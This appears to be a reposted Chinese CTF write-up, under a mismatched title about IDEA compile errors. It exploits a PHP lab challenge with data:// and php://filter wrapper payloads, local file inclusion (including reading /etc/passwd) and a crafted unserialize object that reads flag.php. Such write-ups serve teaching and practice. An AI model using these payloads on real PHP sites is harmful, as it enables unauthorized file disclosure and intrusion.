1. 程式人生 > 其它 >程式碼沒問題IDEA編譯不通過的終極解決方案

程式碼沒問題IDEA編譯不通過的終極解決方案

一、靶場首頁(題目原始碼)

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){     #file_get_contents() 函式是用於將檔案的內容讀入到一個字串中的首選方法
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){    # preg_match 函式用於執行一個正則表示式匹配。
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

從程式碼可以看出首先是需要get傳參text,file,password。再往下可以確定text要求傳入檔案,且內容為welcome to the zjctf,可以通過偽協議傳入;file需要通過檔案包含一個檔名,且雖然正則過濾了flag,但提示了useless.php,所以可以也利用偽協議讀取。

二、第一個繞過點

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

$text需要輸入"welcome to the zjctf"並傳入檔案中,可以將內容寫入data偽協議中(一般為了繞過一些過濾會進行base64編碼),讓file_get_contents函式讀取。也可以通過php://input偽協議用post的方式傳入"welcome to the zjctf"

data偽協議:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

php://input偽協議

url:http://xxxx:xxxx/?text=php://input
POST資料:welcome to the zjctf

三、第二個繞過點

if(preg_match("/flag/",$file)){    # preg_match 函式用於執行一個正則表示式匹配。
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);  # 反序列化
        echo $password;
    }

$file無法直接讀取flag,可以直接讀取/etc/passwd,但針對php檔案還需要進行base64編碼,否則讀取不到其內容。所以無法使用file=useless.php,可以使用php://filter偽協議來讀原始碼(使用其自帶的base64過濾器)

file=php://filter/read=convert.base64-encode/resource=useless.php

構造payload如下:

http://xxxx:xxxx/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

得到一串編碼:

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

進行base64解碼即可得到useless.php原始碼

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

四、第三個繞過點

include($file);  //useless.php
$password = unserialize($password);  # 反序列化
echo $password;

現在只需要在檔案內包含了useless.php檔案後,利用unserialize()函式進行反序列化即可執行Flag類內的__tostring函式。

通俗一點解釋,就是將一個序列化後的物件即一串字串傳給$password,經過反序列化會得到一個例項物件。那麼如果將一個useless.php中的Flag物件(其中$file引數的值為flag.php)序列化後得到的字串傳給$password,經過反序列化後就會變成了一個例項物件。

在本地執行下面程式碼:

<?php  
class Flag{
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$password=new Flag(); 
echo serialize($password);
?> 

結果為:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最終的payload:

http://xxxx:xxxx/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

file=php://filter/read=convert.base64-encode/resource=useless.php只能讀取檔案內容,不能執行。

如果最終payload需要能夠執行Flag類中的東西,就必須要被“包含”而不是“被讀取”,所以要用file=useless.php實現flag類中的file_get_contents執行讀取flag。

五、get一個小flag

六、參考連結

https://www.redmango.top/article/13

https://blog.csdn.net/qq_45290991/article/details/113852174

https://www.cnblogs.com/gaonuoqi/p/12255777.html